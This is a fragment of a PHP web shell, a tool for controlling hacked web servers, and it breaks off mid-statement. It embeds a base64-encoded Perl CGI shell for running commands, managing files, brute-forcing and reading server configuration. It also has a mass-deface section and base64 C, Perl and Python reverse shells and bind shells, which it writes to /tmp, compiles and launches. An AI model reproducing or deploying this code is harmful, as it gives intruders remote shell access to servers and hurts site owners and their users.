QkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+PGEgaHJlZj0namF2YXNjcmlwdDpyZXR1cm4gZmFsc2U7JyBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKVwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGRpcm5hbWUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQoJCXsKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGZpbGU9JGY7CgkJCSRmID0gJHBhdGguJGY7CgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsKCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgT3BlbiBTYW5zOyc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJHBhdGguIiZjPWVkaXQlMjAiLiRmaWxlLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZQYXJzZUZpbGVTaXplKCZGaWxlU2l6ZSgkZikpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVMYXN0TW9kaWZpZWQoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIKewoJb3BlbiAoZG9tYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsKCW15IEBjbnpzID0gPGRvbWFpbnM+OwoJY2xvc2UgZDBtYWluczsKCW15ICRzdHlsZT0ibGluZSI7CglteSAkcmVzdWx0PSI8aDU+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgT3BlbiBTYW5zO2NvbG9yOiAjZmZmZmZmOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IE9wZW4gU2Fucztjb2xvcjogI2ZmZmZmZjsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsKCX0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7CglteSBAcGF0aGxvZz0oCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLAoJCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJwoJCQkJKTsKCW15ICRpPTA7CglteSAkcGVybXM7CglteSAkc2w7Cglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQoJewoJCWlmKC13ICRsb2cpCgkJewoJCQkkcGVybXM9Ik9LIjsKCQl9ZWxzZQoJCXsKCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsKCQkJaWYoJnRyaW0oJGxzKSBlcSAiIikKCQkJewoJCQkJaWYoLXIgJGxzKQoJCQkJewoJCQkJCSRwZXJtcz0iT0siOwoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOwoJCQkJfQoJCQl9ZWxzZQoJCQl7CgkJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsKCQkJfQoJCX0KCQkkcmVzdWx0IC49PDxFTkQ7CgkJPHRyPgoKCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CgkJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvZ18kaScpLnZhbHVlPSdsZXNzICcgKyB0aGlzLnZhbHVlOyIgdmFsdWU9IiRsb2ciIHNpemU9JzUwJy8+PC90ZD4KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImxvZ18kaSIgbmFtZT0iYyIgdmFsdWU9Imxlc3MgJGxvZyIvPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPgoJCQk8L2Zvcm0+CgkJCTx0ZD4kcGVybXM8L3RkPgoKCQk8L3RyPgpFTkQKCQkkaSsrOwoJfQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKJEFjdGlvbiA9ICRpbnsnYSd9OwoKJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdAoKIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZAokQ3VycmVudERpciA9ICZ0cmltKCRpbnsnZCd9KTsKIyBtYWMgZGluaCB4dWF0IHRob25nIHRpbiBuZXUga28gY28gbGVuaCBuYW8hCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7CmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoISRXaW5OVCkKCXsKCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJaWYoISgkY2htb2QgZXEgMCkpCgkJewoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJCSRmaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7CgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7CgkJCWlmKCZ0cmltKCRyZXN1bHQpIGVxICIiKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0KCQl9Cgl9CgkkcmVuYW1lPSRpbnsncmVuYW1lJ307CglpZighJHJlbmFtZSBlcSAiIikKCXsKCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkKCQl7CgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQl9ZWxzZQoJCXsKCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQl9Cgl9CgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307CglpZigkcmVtb3ZlIG5lICIiKQoJewoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7CgkJaWYoLWQgJHJtKQoJCXsKCQkJJlJtRGlyKCRybSk7CgkJfWVsc2UKCQl7CgkJCWlmKHVubGluaygkcm0pKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0JCQkKCQl9Cgl9CglwcmludCAmTGlzdERpcjsKCn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInNhdmUiKQkJCQkgCSMgdXNlciB3YW50cyB0byBzYXZlIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoJlNhdmVGaWxlKCRpbnsnZGF0YSd9LCRpbnsnZmlsZSd9KSkKCXsKCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7Cgl9ZWxzZQoJewoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7Cgl9CglwcmludCAmTGlzdERpcjsKfQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CgoJcHJpbnQgJlVwbG9hZEZpbGU7Cn0KZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQKewoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOwoJcHJpbnQgJkJhY2tCaW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmQnJ1dGVGb3JjZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlCnsKCXByaW50ICZEb3dubG9hZEZpbGU7Cn1lbHNpZigkQWN0aW9uIGVxICJjaGVja2xvZyIpIAkJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsb2cgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdMb2c7Cgp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0RvbWFpblVzZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGxvZ291dAp7CgkmUGVyZm9ybUxvZ291dDsKfQomUHJpbnRQYWdlRm9vdGVyOw==\";\r\n\t\$cgi = fopen(\$file_cgi, \"w\");\r\n\tfwrite(\$cgi, base64_decode(\$cgi_script));\r\n\tfwrite(\$htcgi, \$isi_htcgi);\r\n\tchmod(\$file_cgi, 0755);\r\n        chmod(\$memeg, 0755);\r\n\techo \"<br><center>Done ... <a href='priv_cgi/cgi.priv' target='_blank'>Click Here</a></div>\";\r\n\thardFooter();\r\n}\r\n\r\n\r\n// Mass Deface Section Start\r\nfunction actionSql() {\r\n\thardHeader();\r\n\techo \"<center><h1>Mass Tools</h1><div class=content><br>\";\r\n\r\n\techo \"<br><center> <iframe frameBorder=0 src='?mas' width='800' height='450'></iframe></a></div>\";\r\n\r\n\thardFooter();\r\n}\r\n\r\n// Mass Deface Section END\r\n\r\n// Back COnnect SEction\r\nfunction actionNetwork() {\r\n\thardHeader();\r\n\t\$back_connect_c=\"I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9\";\r\n\t\$back_connect_p=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7\";\r\n\t\$bind_port_c=\"I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9\";\r\n\t\$pyy=\"IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ==\";\r\n\t\$bind_port_p=\"IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=\";\r\n\techo \"<center><h1>Network tools</h1><div class=content>\r\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'><br>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpp'>Perl</option><option value='bpc'>C</option></select></label> <input type=submit value='submit'>\r\n\t</form><br>\r\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type='text' name='server' value=\". \$_SERVER['REMOTE_ADDR'] .\"> Port: <input type='text' name='port' value='21'> Using: <label><select name='using'><option value='bcpy'>Python</option><option value='bcp'>Perl</option><option value='bcc'>C</option></select></label> <input type=submit value='submit'><br><br><br>\r\n\t</form><br>\";\r\n\tif(isset(\$_POST['p1'])) {\r\n\t\tfunction cf(\$f,\$t) {\r\n\t\t\t\$w=@fopen(\$f,\"w\") or @function_exists('file_put_contents');\r\n\t\t\tif(\$w)\t{\r\n\t\t\t\t@fwrite(\$w,@base64_decode(\$t)) or @fputs(\$w,@base64_decode(\$t)) or @file_put_contents(\$f,@base64_decode(\$t));\r\n\t\t\t\t@fclose(\$w);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(\$_POST['p1'] == 'bpc') {\r\n\t\t\tcf(\"/tmp/bp.c\",\$bind_port_c);\r\n\t\t\t\$asciifnc7 = ex(\"gcc -o /tmp/bp /tmp/bp.c\");\r\n\t\t\t@unlink(\"/tmp/bp.c\");\r\n\t\t\t\$asciifnc7 .= ex(\"/tmp/bp \".\$_POST['p2'].\" \".\$_POST['p3'].\" &\");\r\n\t\t\techo \"<pre class=ml1>\$asciifnc7\".ex(\"ps aux | grep bp\").\"</pre>\";\r\n\t\t}\r\n\t\tif(\$_POST['p1'] == 'bpp') {\r\n\t\t\tcf(\"/tmp/bp.pl\",\$bind_port_p);\r\n\t\t\t\$asciifnc7 = ex(which(\"perl\").\" /tmp/bp.pl \".\$_POST['p2'].\" &\");\r\n\t\t\techo \"<pre class=ml1>\$asciifnc7\".ex(\"ps aux | grep bp.pl\").\"</pre>\";\r\n\t\t}\r\n\t\tif(\$_POST['p1'] == 'bcc') {\r\n\t\t\tcf(\"/tmp/bc.c\",\$back_connect_c);\r\n\t\t\t\$asciifnc7 = 